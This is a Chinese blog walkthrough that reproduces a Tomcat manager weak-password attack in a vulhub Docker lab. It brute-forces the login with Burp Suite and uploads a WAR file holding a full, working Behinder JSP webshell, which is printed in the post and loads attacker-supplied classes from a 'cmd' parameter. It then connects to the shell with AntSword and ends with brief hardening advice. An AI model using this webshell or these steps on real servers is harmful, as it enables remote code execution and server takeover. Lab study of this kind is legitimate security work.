当前位置:   article > 正文

Tomcat后台管理漏洞复现(弱口令+上传webshell)_tomcat文件上传漏洞复现

tomcat文件上传漏洞复现

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。


目录

漏洞简介

漏洞实验版本

环境搭建

漏洞复现

漏洞防御


漏洞简介

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf omcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。

conf/tomcat-users.xml文件中配置用户的权限:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <tomcat-users xmlns="http://tomcat.apache.org/xml"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
  5. version="1.0">
  6. <role rolename="manager-gui"/>
  7. <role rolename="manager-script"/>
  8. <role rolename="manager-jmx"/>
  9. <role rolename="manager-status"/>
  10. <role rolename="admin-gui"/>
  11. <role rolename="admin-script"/>
  12. <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
  13. </tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞实验版本

Apache Tomcat 8

环境搭建

1.使用ubuntu打开vulhub中的tomcat/tomcat8目录,拉取镜像。

docker-compose up -d

184ceb4bcf394bf6beca5f882acd7b6f.png

2.查看环境

docker ps

54887ac1fdbf4871ba34e549d85c26a9.png

3访问http://your-ip:8080即可查看tomcat默认页面(此处靶机IP:192.168.1.3)

b4ec3fb8077749328a814056d2552308.png

漏洞复现

1.访问 http://靶机IP:8080/manager/html ,输入弱密码tomcat:tomcat(已知),登陆后台。

de55aec5d49042d78beccc8ca90707b9.png

当然,如果是一个未知的后台登录,且可能存在弱口令,则使用Burp Suite进行抓包暴力破解,下面简单进行演示。

1.1打开代理和Burp Suite

960ce8c622264c948621a827e849a0ad.png

62798e0e641045aab40daf702b71bfbc.png

1.2访问http://靶机IP:8080/manager/html,随意输入账号密码,进行抓包拦截。

85d276db1ef44d3ba6f40429bbc2c1a5.png

可以看到账号密码进行了Base64编码

965652a8e1314977a5a86c9b98f03121.png

1.3将抓到的包发送到爆破模块,快捷键ctrl+i,正常来说是用常见的弱口令字典去爆破,或者更强大的字典进行爆破,为了节省时间,这里就随便输入了几个账号密码。

836b912355034c92a19334189af367c3.png

1.4Payload type 选择 Custom iterator ,设置三个 position 1 为用户字典, 2 : 3 为密码字典,并增加 Payload Processing Base64-encode 如下:

1.5使用Base64编码提交,由于Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉

1.6最后发现会破解成功,然后登录后台。

6d5afa759cfb4d048233ed48a7b11897.png

2.观察后台页面,发现一个上传war文件的地方

war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

033614abc19440a2b6b35963de74acfd.png

3.将一个冰蝎jsp马添加到压缩包中,更改压缩后缀为.war,完成后上传。

压缩成war的三种方式(点我查看)

  1. <%!
  2. class U extends ClassLoader {
  3. U(ClassLoader c){
  4. super(c);
  5. }
  6. public Class g(byte[] b){
  7. return super.defineClass(b,0,b.length);
  8. }
  9. }
  10. public byte[] base64Decode(String str) throws Exception{
  11. try{
  12. Class clazz =Class.forName("sun.misc.BASE64Decoder");
  13. return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
  14. }catch (Exception e){
  15. Class clazz =Class.forName("java.util.Base64");
  16. Object decoder =clazz.getMethod("getDecoder").invoke(null);
  17. return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
  18. }
  19. }
  20. %>
  21. <%
  22. String cls =request.getParameter("cmd");
  23. if(cls != null){
  24. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
  25. }
  26. %>

c5234cefb2764e4bac65408ffe0379ca.png

4.将木马上传到Tomcat Web应用程序,查看后台应用程序,发现上传的war文件:shell.war

fff7706126304e2fabaaf871dd9a7d44.png6ec00c2b767e43e1b165dd5e298e910f.png

5.访问上传的shell.jsp,若网站正常响应,则上传成功,否则失败。

6a0772c6ac684b9392a3af9032a2afc9.png

6.使用中国蚁剑连接

3e15530b4bfd476891bd0905eb198ab6.png33afd5ee6b9c4fd594e14600899e065e.png

连接成功

7.关闭实验环境

docker-compose down

e8ffe9ab3a2543b9a2238d5d5eb9ec4d.png

漏洞防御

1. 若无必要,取消manager/html功能。
2. 若要使用,manager页面应只允许本地IP访问

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/741305
推荐阅读
相关标签
  

闽ICP备14008679号